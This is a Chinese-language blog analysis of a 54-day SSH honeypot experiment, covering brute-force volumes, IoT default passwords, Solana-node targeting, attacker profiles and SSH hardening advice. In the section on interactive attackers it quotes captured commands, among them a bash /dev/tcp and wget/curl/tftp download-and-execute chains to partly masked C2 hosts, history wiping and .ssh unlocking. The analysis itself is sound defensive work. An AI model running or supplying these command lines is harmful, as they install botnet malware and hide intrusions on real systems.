写在前面
2026年2月11日,有人做了一个实验:用Python写了一个SSH蜜罐,伪装成一台Ubuntu 22.04服务器,把端口22暴露在公网上,然后——什么都不做,等。
54天后回来,317MB的日志。
这不是科幻小说的情节,这是Arman Hossain的真实实验。数据冰冷而清晰:269,000次连接,7,556个独立IP,48,102个不同密码。而上线不到60秒,第一个”访客”就到了。
这篇文章不是对原文的翻译,而是基于实验数据的独立思考——这些数字背后,藏着互联网安全生态的哪些真相?对云安全从业者又意味着什么?
一、60秒与269,000次:互联网的背景辐射
实验上线不到一分钟,两条连接就来了:
2026-02-11T20:41:15Z connection 103.215.xx.xx2026-02-11T20:41:16Z connection 190.181.xx.xx2026-02-11T20:41:17Z login root / yhsj_idc@act2026-02-11T20:41:17Z login root / oracle123两秒之内,两个IP,两套凭据。没有人专门盯着这台服务器——这是互联网的背景辐射:一个持续的、自动化的、覆盖全球每个IP每个端口的扫描,永不停歇。
日均4,987次连接,每分钟3.5次,全天候无休。凌晨3点在,周末在,节假日也在。机器不需要睡觉。
这意味着什么? 你的SSH端口暴露在公网上的那一刻,不是”会不会被扫描”的问题,而是”已经被扫描了”的事实。这不是概率论,这是确定性事件。
二、密码墙:48,102种尝试与IoT固件后门
255,566次登录尝试,48,102个不同密码。排名前列的”选手”令人沮丧:
| 排名 | 密码 | 尝试次数 | 备注 |
|---|---|---|---|
| 1 | 123456 | 27,000+ | 占总量超10% |
| 2 | admin | — | 经典永流传 |
| 3 | 3245gs5662d34 | 5,800+ | IoT设备硬编码凭据 |
| 4 | 345gs5662d34 | 5,200+ | IoT设备硬编码凭据 |
| 5 | password | — | 不出所料 |
123456独占鳌头不意外,但3245gs5662d34和345gs5662d34出现在第三、四位就很值得玩味了。这两个不是字典词,而是某些IoT设备或网络设备固件中的硬编码默认凭据。某个僵尸网络的配置文件里直接写死了这些密码,然后对着整个互联网喷洒,期待命中那台特定型号的设备。仅这两组凭据就贡献了超过11,000次尝试。
这揭示了一个令人不安的现实:IoT供应链的安全问题,正在通过僵尸网络扩散为全互联网的问题。 某家厂商在固件里写死了一个密码,几年后这个密码被写进了全球僵尸网络的扫描脚本,对着每一台服务器无差别轰炸。
三、加密货币:新的猎物
数据中最引人注目的趋势之一,是对Solana验证者节点的定向狩猎:
| 用户名 | 尝试次数 |
|---|---|
solana | 1,155 |
sol | 927 |
validator | 708 |
node | 598 |
有人专门搭建(或租用)了一个僵尸网络,唯一目的就是寻找防护薄弱的Solana验证者节点。他们尝试solana、sol、solv、validator、node等用户名,配上对应的密码。
为什么是Solana? 因为验证者节点持有质押的SOL代币,控制了节点就等于控制了密钥和资金。加密货币基础设施正在成为自动化攻击的高价值目标——这不是理论推演,而是正在发生的事实。
对云安全从业者的启示:如果你的业务涉及加密货币节点,密钥认证不是可选项,是生存底线。
四、登录之后:99.6%与0.4%
7,556个攻击IP中,只有28个打开了交互式Shell。0.4%。其余99.6%全部使用SSH的exec模式——发射一条命令就断开:
| 命令 | 次数 | 用途 |
|---|---|---|
uname -s -v -n -r -m | 94,572 | 系统指纹识别 |
export PATH=... ; uname=... | 63,810 | 增强指纹采集 |
echo -e "\x6F\x6B" | 32,656 | 存活检测(输出”ok”) |
/bin/./uname -s -v -n -r -m | 14,031 | 绕过路径别名 |
cd ~; chattr -ia .ssh | 6,041 | 解锁.ssh目录,准备注入密钥 |
模式清晰:先指纹,后行动。 uname采集系统信息,如果输出看起来有价值,后续会带着真正的载荷再来。echo "\x6F\x6B"是简单的存活确认——3万多个IP只想确认Shell能响应。
而chattr -ia .ssh尤其值得关注。这是在移除.ssh目录的不可变属性——为后续向authorized_keys注入攻击者公钥、建立持久化访问做准备。这是从侦察到预攻击的过渡信号。
五、0.4%的真人:四类访客画像
28个打开交互式Shell的IP,构成了四幅截然不同的攻击者画像。
5.1 好奇探索者(喀麦隆)
root$ lsroot$ neofetchroot$ apt install neofetchroot$ lscpuroot$ cd Downloadsroot$ lsroot$ cd Documentsroot$ lsroot$ free -hroot$ sudo apt install nanoroot$ screenfetchroot$ ping 8.8.8.8root$ sudo rebootroot$ exit这个人登录后先试neofetch,没装就apt install,然后像逛别人电脑一样翻Downloads和Documents,装nano,试screenfetch,ping Google,重启,走人。
中间还打了个lscou——lscpu的拼写错误。Bot不会打错字。
这不是攻击者,这是一个刚学会入侵服务器的好奇者,第一次在别人的机器上探索。没有下载恶意软件,没有建立持久化,只是——看了看。
5.2 反取证小队(荷兰、瑞典)
ubuntu$ ls 2>/dev/nullubuntu$ export HISTFILE=/dev/nullubuntu$ export HISTSAVE=/dev/nullubuntu$ unset HISTFILEubuntu$ export HISTFILE=/dev/nullubuntu$ export HISTSAVE=/dev/nullubuntu$ unset HISTFILE三个不同IP,做的第一件事完全一样:禁用bash历史记录。而且做了三遍,冗余地、反复地——他们真的不想留下痕迹。
讽刺的是,蜜罐根本不用bash history。它在传输层记录一切。每一条export HISTFILE=/dev/null都被打上了时间戳,安静地写进了日志。
安全启示: 依赖应用层日志的防御者,可能正在错过传输层和内核层的攻击痕迹。日志采集的层级,决定了你能看到什么。
5.3 职业选手(法国)
root$ nohup bash -c "exec 6<>/dev/tcp/213.199.xx.xx/60133 \ && echo -n 'GET /linux' >&6 \ && cat 0<&6 > /tmp/qNXtkNCRu0 \ && chmod +x /tmp/qNXtkNCRu0 \ && /tmp/qNXtkNCRu0 iO0lOO2Dg/IgJfKIj+4s..." &root$ dd bs=1 count=1911588 > /tmp/YUHlmPSdG7这是完全不同的物种。拆解一下:
/dev/tcp/:用bash内置的TCP socket直接通信——不调用wget、curl,进程列表里干干净净GET /linux:通过原始TCP socket下载二进制文件chmod +x+ 执行:附带base64编码的载荷(大概率是C2配置或加密密钥)nohup:SSH会话断开后进程继续运行dd:写入UPX加壳的ELF二进制
三天内重复六次,在四个不同C2服务器之间轮换(213.199.xx.xx、47.243.xx.xx、47.82.xx.xx、47.236.xx.xx),每次使用不同的随机临时文件名和不同的编码载荷。
这不是脚本小子。 这是拥有基础设施的人——多个C2节点、编译好的二进制、逐目标编码的配置。职业僵尸网络运营者。
5.4 IoT难民(纽约)
admin$ enableadmin$ systemadmin$ shelladmin$ shadmin$ linuxshelladmin$ cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpaiadmin$ rm -rf shr; wget http://202.155.xx.xx/shr || curl -O http://202.155.xx.xx/shr \ || tftp 202.155.xx.xx -c get shr || tftp -g -r shr 202.155.xx.xx; \ chmod 777 shr; ./shr ssh; rm -rf shr这个Bot以为自己在跟一台路由器对话。enable、system、shell——这是Cisco IOS从受限CLI逃逸到完整Shell的命令。当这些命令没有报错(蜜罐返回空输出),它认为自己拿到了Shell,于是部署了Mirai僵尸网络的”senpai”变种。
下载载荷有四种回退方式:wget、curl、tftp(客户端模式)、tftp(替代语法)。下载后chmod 777,以ssh参数执行(指示通过SSH传播),然后自我删除。rootsenpai是标记文件——僵尸网络用它标记已攻陷的系统。
连续尝试四次。 持之以恒。
六、流量模式:僵尸网络的作息
6.1 时间规律
攻击高峰在UTC 01:00-04:00,低谷在07:00-09:00。这不是因为Bot会累——更可能是因为亚洲的C2服务器在工作时间最活跃,欧洲的C2基础设施在UTC夜间时段叠加负载。
周一和周日最忙。连僵尸网络都有排班表。
6.2 地理分布的真相
| 国家/地区 | 事件数 | IP数 | 真相 |
|---|---|---|---|
| 美国 | 244,291 | 1,861 | 云VPS,不是美国人 |
| 澳大利亚 | 188,922 | — | 悉尼数据中心 |
| 比利时 | 156,599 | 1 | 一个住宅IP |
| 德国 | 112,774 | — | 法兰克福云机房 |
| 荷兰 | 107,535 | — | 阿姆斯特丹托管商 |
“澳大利亚”不意味着澳大利亚人在攻击——而是悉尼的廉价云服务器受僵尸网络运营者欢迎。荷兰、新加坡、大部分美国流量同理——云基础设施,不是真人。
比利时的数据最荒诞:几乎全部来自一个住宅IP,一台机器发了超过156,000次登录尝试,比整个德国还多。它就坐在那里,一遍又一遍地执行echo "\x6F\x6B",每一秒,连续数周。不知疲倦。
6.3 IP来源构成
7,556个攻击IP中:52%来自云/VPS实例(3,940个IP),48%来自住宅/ISP连接(3,619个IP)。但云基础设施贡献了59%的登录量——集中火力。住宅侧更分散——数千台被入侵的家庭路由器和IoT设备,每台贡献不大,但集体构成了巨大的攻击面。
一个美国云VPS提供商独占近一半流量——1,548个IP产生632,592个事件。前五大来源占了总攻击量的69%。
更意外的发现:一个东南亚军方信号部队的网络贡献了12,310次登录尝试,一个南美大学研究服务器贡献了11,116次——几乎可以确定是被入侵的基础设施,在所有者不知情的情况下被用作跳板。
七、我的思考
7.1 互联网很吵
你的服务器并不特殊。没有人”针对”你。互联网上的每个IP地址都在被自动化系统持续探测。暴露端口22的那一刻,你就会收到登录尝试。这不是”会不会”的问题——答案是”立刻”。
7.2 大多数攻击者是愚蠢的
99.6%的访客从未超出单条自动化命令。他们不是黑客——是运行在被入侵机器上的脚本,听从C2服务器的指令,每天对数百万IP执行同一条uname命令。互联网”攻击”的绝大多数,只是噪音。
7.3 少数聪明人非常聪明
那个法国IP——/dev/tcp/技巧、轮换C2基础设施、UPX加壳二进制——这是职业级攻击工具。底层99%和顶层1%之间的差距,是数量级的。
7.4 加密货币是磁铁
针对Solana节点凭据的攻击量令人意外。在公网SSH端口上运行加密货币基础设施而不启用密钥认证,等于主动走进猎场。
7.5 有些人只是好奇
喀麦隆的探索者、柏林的慢打字者、孟加拉国翻看/var的人——他们不是恶意行为者。他们只是找到了一扇开着的门,想看看门后面是什么。
7.6 没有人读MOTD
蜜罐登录时会显示完整的Ubuntu欢迎信息和系统统计。没有一个交互式用户注意到这些信息可疑地静态。他们做的第一件事?ls。
八、防御建议
基于这些观察,对云安全从业者的实操建议:
# SSH加固清单SSH硬ening: 认证: - 禁用密码登录: PasswordAuthentication no - 仅允许密钥认证: PubkeyAuthentication yes - 禁用root直接登录: PermitRootLogin no
网络层: - 更改默认端口: Port <非22> - 限制来源IP: AllowUsers *@<可信网段> - 或使用跳板机/Bastion Host
监控: - 部署fail2ban自动封禁暴力IP - SSH日志接入SIEM实时告警 - 关注chattr -ia .ssh等预攻击信号
蜜罐: - 考虑部署SSH蜜罐作为早期预警 - 蜜罐流量可反哺威胁情报 - 低成本高回报的主动防御手段核心原则: 你的SSH服务器不是一座孤岛,而是一间每晚都有人来试锁的房子。问题不是有没有人来试你的锁——而是你的锁够不够好。
用密钥认证。禁用密码登录。把SSH移出22端口。如果好奇的话——留一扇假门,看看谁会走进来。
数据来源:I Left Port 22 Open on the Internet for 54 Days. Here’s Who Showed Up — Arman Hossain, 2026年2月11日至4月5日。所有IP已部分脱敏。地理数据来自ip-api.com。
参考
支持与分享
如果这篇文章对你有帮助,欢迎支持作者或分享给更多人
部分信息可能已经过时






